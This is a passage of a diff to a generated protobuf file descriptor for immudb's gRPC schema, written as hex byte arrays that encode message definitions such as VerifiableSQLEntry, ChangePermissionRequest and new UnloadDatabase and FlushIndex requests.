0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, - 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, - 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, - 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, - 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, - 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, - 0x22, 0x87, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, - 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, - 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, - 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, - 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, - 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, - 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, - 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, - 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, - 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, - 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, - 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, - 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, - 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, - 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, - 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, - 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, - 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, - 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, - 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, - 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, - 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, - 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, - 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, - 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, - 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, - 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, - 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, - 0x41, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, - 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, + 0x34, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x59, 0x0a, 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, + 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x02, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, + 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, + 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, + 0x22, 0x30, 0x0a, 0x12, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, + 0x73, 0x65, 0x22, 0x25, 0x0a, 0x05, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, + 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, + 0x65, 0x12, 0x33, 0x0a, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x22, 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x42, 0x0a, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, + 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, + 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, + 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, + 0x61, 0x74, 0x61, 0x22, 0x87, 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, + 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, + 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, + 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, + 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, + 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, + 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, + 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, + 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 